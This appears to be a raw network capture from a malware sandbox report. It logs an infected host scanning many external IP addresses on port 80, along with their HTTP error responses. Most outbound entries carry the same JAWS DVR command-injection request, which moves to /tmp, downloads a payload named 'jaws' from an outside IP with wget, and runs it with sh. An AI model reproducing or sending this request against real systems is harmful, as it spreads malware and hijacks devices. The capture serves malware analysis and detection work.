Jan 2, 2024 06:23:58.443186045 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:57Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	60350	54.254.143.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.484471083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.823184013 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:23:58 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	54766	35.244.163.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.944015026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	36348	23.78.13.160	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.964776039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:59.107402086 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:23:59 GMT Date: Tue, 02 Jan 2024 05:23:59 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 37 37 63 34 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 39 26 23 34 36 3b 31 38 34 64 65 31 36 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.977c4217.1704173039.184de165</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	43424	44.237.111.253	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.006300926 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	52178	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.196369886 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:58Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	44962	87.249.21.231	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.225841045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	48474	77.75.231.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.226696968 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:59.510098934 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:59 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	58160	202.88.191.104	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.400872946 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:59.795567989 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:23:59 GMT Date: Tue, 02 Jan 2024 05:23:59 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 34 62 66 35 38 63 61 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 39 26 23 34 36 3b 36 65 33 62 61 65 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.64bf58ca.1704173039.6e3bae6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	52218	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:59.870449066 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:59Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	52242	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:00.552783966 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:59Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	58232	13.52.177.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:00.958031893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.119976044 CET	242	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:24:01 GMT Content-Type: application/json; charset=utf-8 Connection: keep-alive Content-Length: 48 X-Kong-Response-Latency: 0 Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 6e 6f 20 52 6f 75 74 65 20 6d 61 74 63 68 65 64 20 77 69 74 68 20 74 68 6f 73 65 20 76 61 6c 75 65 73 22 7d Data Ascii: {"message":"no Route matched with those values"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	33472	104.25.41.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.079195023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	38590	104.23.98.204	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.079299927 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	50906	197.15.56.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.084127903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	48156	104.107.146.117	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.091301918 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.384999037 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:01 GMT Date: Tue, 02 Jan 2024 05:24:01 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 65 34 35 31 35 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 31 26 23 34 36 3b 35 66 37 37 34 36 30 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8e451502.1704173041.5f774609</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	58458	104.73.17.27	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.120239973 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.281836033 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:01 GMT Date: Tue, 02 Jan 2024 05:24:01 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 37 38 61 37 38 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 31 26 23 34 36 3b 33 66 33 35 61 38 33 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.378a7868.1704173041.3f35a83c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	34372	38.181.35.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.259877920 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.561696053 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	52260	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.261372089 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:00Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	56504	45.148.36.42	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.272066116 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.509753942 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request
Jan 2, 2024 06:24:01.709047079 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	57970	109.109.200.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.322258949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.565769911 CET	503	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:01 GMT Server: Apache/2.4.56 (Debian) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 76 6d 65 69 73 74 65 72 2e 77 72 73 2e 65 63 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at pvmeister.wrs.eco Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	55542	184.85.129.251	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.334667921 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.590534925 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:01 GMT Date: Tue, 02 Jan 2024 05:24:01 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 33 34 32 64 62 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 31 26 23 34 36 3b 33 61 32 38 65 62 32 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.d342db17.1704173041.3a28eb26</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	42578	85.215.117.24	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.338021040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.597176075 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:01 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	38402	143.0.84.210	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.350137949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
